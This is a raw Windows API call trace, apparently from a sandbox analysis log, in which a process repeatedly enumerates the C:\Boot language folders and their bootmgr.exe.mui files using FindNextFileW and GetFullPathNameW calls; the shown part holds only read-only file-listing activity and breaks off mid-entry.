[0121.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.806] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0121.807] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\", lpFilePart=0x0) returned 0xe [0121.808] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.808] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.808] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.808] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.808] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.809] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.809] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0121.809] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\", lpFilePart=0x0) returned 0xe [0121.810] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.810] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe86b3703, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.810] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0121.811] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\", lpFilePart=0x0) returned 0xe [0121.811] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.811] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.811] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.812] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.812] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.813] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU", lpFilePart=0x0) returned 0xd [0121.813] GetFullPathNameW (in: lpFileName="C:\\Boot\\hu-HU\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\hu-HU\\", lpFilePart=0x0) returned 0xe [0121.813] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.813] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.813] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe817e7d8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.813] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.814] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.814] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0121.814] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\", lpFilePart=0x0) returned 0xe [0121.815] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.815] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.815] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.816] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.816] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.816] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.816] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.817] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT", lpFilePart=0x0) returned 0xd [0121.817] GetFullPathNameW (in: lpFileName="C:\\Boot\\it-IT\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\it-IT\\", lpFilePart=0x0) returned 0xe [0121.817] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.817] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.817] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe9e80ea3, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.818] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.818] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.818] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0121.818] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\", lpFilePart=0x0) returned 0xe [0121.818] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.818] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.818] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.819] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.819] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.819] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.820] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.820] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP", lpFilePart=0x0) returned 0xd [0121.820] GetFullPathNameW (in: lpFileName="C:\\Boot\\ja-JP\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ja-JP\\", lpFilePart=0x0) returned 0xe [0121.820] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.820] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.821] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12a40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0121.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.821] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.821] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.821] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0121.821] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\", lpFilePart=0x0) returned 0xe [0121.821] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xd4417a00, ftLastWriteTime.dwHighDateTime=0x1d2f1c2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, ftLastAccessTime.dwHighDateTime=0x1d2f1c2, ftLastWriteTime.dwLowDateTime=0xe8510830, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12650, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0121.822] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0121.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edca0) returned 1 [0121.822] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edc60) returned 1 [0121.822] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.822] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.823] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui", nBufferLength=0x105, lpBuffer=0x1ed8f0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\bootmgr.exe.mui", lpFilePart=0x0) returned 0x1d [0121.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd30) returned 1 [0121.823] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edcf0) returned 1 [0121.823] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edd50) returned 1 [0121.823] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR", nBufferLength=0x105, lpBuffer=0x1ed840, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR", lpFilePart=0x0) returned 0xd [0121.823] GetFullPathNameW (in: lpFileName="C:\\Boot\\ko-KR\\", nBufferLength=0x105, lpBuffer=0x1ed7e0, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\ko-KR\\", lpFilePart=0x0) returned 0xe [0121.823] FindNextFileW (in: hFindFile=0x1c5bf0d0, lpFindFileData=0x1eda40 | out: lpFindFileData=0x1eda40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd4417a00, ftCreationTime.dwHighDateTime=0x1d2f1c2, ftLastAccessTime.dwLowDateTime=0xd4417a00, 